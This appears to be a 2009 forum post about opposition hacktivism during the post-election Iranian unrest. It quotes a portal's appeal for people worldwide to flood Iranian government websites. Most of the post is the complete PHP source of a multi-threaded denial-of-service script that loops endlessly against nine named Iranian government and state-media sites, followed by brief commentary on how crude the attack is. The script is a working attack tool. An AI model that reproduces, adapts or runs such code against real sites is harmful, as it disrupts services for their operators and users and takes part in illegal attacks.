Very interesting things are afoot in Iran right now, above and beyond stolen elections and bloody riots.
Taking a page from the Chinese concept of "peoples activism", the so called Opposition is aggressively demolishing Iran's internet infrastructure.
A webpage/portal was established yesterday which enabled people to spawn multi-threaded DOS attacks against Ahmadinjead;
"ALL PEOPLE AROUND THE WORLD:
Please help us in a full-scale cyberwar againts the dictatorial brutal government of Ahmadinjead! Help Iranians to earn back their votes per instructions below:
Simply click on few of the following links (better too choose your selections from different categories); it opens the site in a new tab. It will not stop you from browsing but by sending a refresh signal to the target site will saturate it. By doing so, we can block Ahmadinjead's governments flow of information in many of its key components as shown below. Please help us and yourself from this lunatic who will push the world to world war III."
Due to an unsustainable bandwidth bill, the maintainers of the portal took the site offline early today but released the source code;
CODE
<?php
/*
* SupportIran.php v0.6
* Austin Heap <me@austinheap.com>
*
* A tiny script on a MULTI mission.
*
*
* You MUST be running PHP 5.2.3 or better and have the Curl (version 7.16.2 or better) PHP module installed
*
*
* !! There is now a version you can run in your browser !!
* !! Go to http://dev.austinheap.com/iran/ to start now !!
*
*/
//* Target Iranian gov't sites
$sites = array(
"http://www.khamenei.ir/",
"http://www.presstv.ir/",
"http://www.irna.ir/",
"http://www.president.ir/",
"http://www.mfa.gov.ir/",
"http://www.moi.ir/",
"http://www.police.ir/",
"http://www.justice.ir/",
"http://live.irib.ir/"
);
//* Do the deed
print 'Press Control-C to terminate...LAUNCHING ATTACK: ';
$x = 0;
while ( true ) {
print '.';
flush( );
reqMultiCurls( $sites );
print '.';
$x++;
}
function reqMultiCurls( $urls ) {
$chs = array();
$contents = array();
foreach ( $urls as $url ) {
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_TIMEOUT, 1 );
$chs[] = $ch;
}
$mh = curl_multi_init();
foreach ( $chs as $key => $ch ) {
curl_multi_add_handle( $mh, $ch );
}
do {
$mrc = curl_multi_exec( $mh, $active );
} while ( $mrc == CURLM_CALL_MULTI_PERFORM || $active );
foreach ( $chs as $key => $ch ) {
if ( curl_errno( $ch ) == CURLE_OK ) {
$contents[] = curl_multi_getcontent( $ch );
} else {
echo "!";
}
}
curl_multi_close( $mh );
return $contents;
}
This is really very interesting in and of itself; no attempt is even being made to scale up to botnet attacks, for example. The above code is a basic, multi-threaded DOS attack and would have been considered fairly lowbrow a decade ago. It will be very interesting to see what sort of evolutionary curve takes place if/when the opposition forces embrace more efficient methods to take down their own countries infrastructure.
whys the sky blue? whys water wet? why did judas rat to romans while jesus slept?
Jun 16 2009, 06:16 AM
